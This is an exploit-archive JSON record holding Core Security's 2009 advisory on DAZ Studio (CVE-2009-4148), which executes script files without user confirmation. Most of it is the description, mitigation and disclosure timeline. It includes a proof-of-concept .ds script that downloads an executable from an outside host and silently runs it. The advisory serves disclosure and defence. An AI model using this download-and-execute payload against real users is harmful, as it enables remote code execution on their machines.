{"exploit":{"id":"EDB-10295","name":"DAZ Studio - Arbitrary Command Execution","description":"DAZ Studio - Arbitrary Command Execution","cves":["CVE-2009-4148"],"author":"Core Security","published":"2009-12-03","platform":"windows","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/10295","path":"exploits/windows/local/10295.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-10295.txt","vulnerabilities":[{"id":"CVE-2009-4148","state":"PUBLISHED","title":null,"titleSource":null,"description":"DAZ Studio 2.3.3.161, 2.3.3.163, and 3.0.1.135 allows remote attackers to execute arbitrary JavaScript code via a (1) .ds, (2) .dsa, (3) .dse, or (4) .dsb file, as demonstrated by code that loads the WScript.Shell ActiveX control, related to a \"script injection vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4148","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4148"},"updatedAt":"2024-08-07T06:54:09.336Z","retrievedAt":"2026-11-27T15:22:49.058Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-10295.png?v=2","url":"https://exploitbin.com/exploits/EDB-10295","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-10295/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-10295/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n      Core Security Technologies - CoreLabs Advisory\n           http://www.coresecurity.com/corelabs/\n\nDAZ Studio Arbitrary Command Execution\n\n\n\n1. *Advisory Information*\n\nTitle: DAZ Studio Arbitrary Command Execution\nAdvisory Id: CORE-2009-0911\nAdvisory URL:\nhttp://www.coresecurity.com/content/dazstudio-scripting-injection\nDate published: 2009-12-02\nDate of last update: 2009-12-01\nVendors contacted: DAZ\nRelease mode: User release\n\n\n\n2. *Vulnerability Information*\n\nClass: Insufficient UI Warning of Dangerous Operations [CWE-357]\nImpact: Code execution\nRemotely Exploitable: Yes\nLocally Exploitable: No\nBugtraq ID: 37176\nCVE Name: CVE-2009-4148\n\n\n\n3. *Vulnerability Description*\n\nDAZ Studio [2] is a 3D figure illustration/animation application\nreleased by DAZ 3D Inc. DAZ Studio can be accessed via a scripting\nlanguage which allows for quite a bit of diversity in tool creation. DAZ\nStudio does not ask for any confirmation from the user prior to\nexecuting a scripting file with any of the following extensions: .ds,\n.dsa, .dse, .dsb. An attacker could abuse the scripting interface by\nenticing an unsuspecting user to open a malicious scripting file, thus\nobtaining remote code execution.\n\n\n4. *Vulnerable packages*\n\n   . DAZ Studio 2.3.3.161\n   . DAZ Studio 2.3.3.163\n   . DAZ Studio 3.0.1.135\n   . Older versions are probably affected too, but they were not checked.\n\n\n5. *Vendor Information, Solutions and Workarounds*\n\nThe vendor did not provide fixes or workaround information.\n\nTo prevent the accidental execution of malicious scripting files you can\ndisable the default file association of the dangerous file extensions in\nthe Windows Explorer. The following KB article from Microsoft describe\nhow to deassociate a file extension.\nhttp://support.microsoft.com/kb/307859\n\n\n6. *Credits*\n\nThis vulnerability was discovered and researched by Diego Juarez from\nCore Security Technologies during Bugweek 2009 [1].\n\n\n7. *Technical Description / Proof of Concept Code*\n\nThe following Proof of Concept .ds file demonstrates remote code\nexecution by downloading and executing putty in the context of DAZ Studio.\n\n/-----\n// DAZ Studio PoC\nvar oFile = new DzFile(\"d:\\\\test.js\");\noFile.open(2);\noFile.write(\"s=WScript.CreateObject(\\'WScript.Shell\\');o=WScript.CreateObject(\\'ADODB.Stream\\');e=s.Environment(\\'Process\\');u=\\'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe\\';b=e.Item(\\'TEMP\\')+\\'\\\\\\\\agent.exe\\';try{x=new\nActiveXObject(\\'Microsoft.XMLHTTP\\');}catch(e){x=new\nActiveXObject(\\'MSXML2.ServerXMLHTTP\\');}if(!x)exit(0);x.open(\\'GET\\',u,0);x.send(null);d=x.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(d);o.SaveToFile(b,2);s.Run(b,0);\\r\\n\");\noFile.close()\n\nvar oProcess = new DzProcess([\"wscript\", \"d:\\\\test.js\"]);\noProcess.start();\n\n- -----/\n\n\n\n8. *Report Timeline*\n\n. 2009-11-06:\nCore Security Technologies completes a support form trying to reach a\nsecurity contact from DAZ.\n\n. 2009-11-06:\nCore receives an email saying that Core contact email was not recognised\nas a registered email.\n\n. 2009-11-06:\nCore completes a registration form to be able to contact the support team.\n\n. 2009-11-13:\nSince DAZ support team didn't respond to any mail, Core contacts CERT\ntrying to obtain a valid security contact at DAZ.\n\n. 2009-11-16:\nCERT acknowledges the comunication, and Core reschedules the advisory to\nNovember 30th, 2009 based on CERT recommendations.\n\n. 2009-11-18:\nCERT communicates that the vendor doesn't seem familiar with\nvulnerability reporting/disclosure, and request additional information\nabout the vulnerability.\n\n. 2009-11-18:\nCERT contacted DAZ four times between 11/16 and 11/30.\n\n. 2009-11-19:\nCore replies that the issue is a script injection vulnerability.\n\n. 2009-11-30:\nDAZ did not wish to provide contact information.\n\n. 2009-12-03:\nThe advisory CORE-2009-0911 is published.\n\n\n\n9. *References*\n\n[1] The author participated in Core Bugweek 2009 as member of the team\n\"Gimbal Lock N Load\".\n[2] DAZ Studio: http://www.daz3d.com/i/software/daz_studio3?_m=d\n\n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography.\nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies.\nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://www.coresecurity.com/corelabs.\n\n\n11. *About Core Security Technologies*\n\nCore Security Technologies develops strategic solutions that help\nsecurity-conscious organizations worldwide develop and maintain a\nproactive process for securing their networks. The company's flagship\nproduct, CORE IMPACT, is the most comprehensive product for performing\nenterprise security assurance testing. CORE IMPACT evaluates network,\nendpoint and end-user vulnerabilities and identifies what resources are\nexposed. It enables organizations to determine if current security\ninvestments are detecting and preventing attacks. Core Security\nTechnologies augments its leading technology solution with world-class\nsecurity consulting services, including penetration testing and software\nsecurity auditing. Based in Boston, MA and Buenos Aires, Argentina, Core\nSecurity Technologies can be reached at 617-399-6980 or on the Web at\nhttp://www.coresecurity.com.\n\n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2009 Core Security\nTechnologies and (c) 2009 CoreLabs, and may be distributed freely\nprovided that no fee is charged for this distribution and proper credit\nis given.\n\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc.\n\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v2.0.12 (MingW32)\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\n\niEYEARECAAYFAksYGpcACgkQyNibggitWa3lrwCeKY5DAHCr9PaZ1Dk6FqMcrbUx\nmR8AoK6zHf4Ns/xzngH5kT+f4MDwbUpF\n=l/I+\n-----END PGP SIGNATURE-----","sha256":"3a1759f9a0c30c0133b00b48414b3c27144411f994d2d0e4bd560abd4551dc52","bytes":6344,"fetchedAt":"2026-11-27T15:08:56.183Z","encoding":"utf-8 (display only; download retains original bytes)"}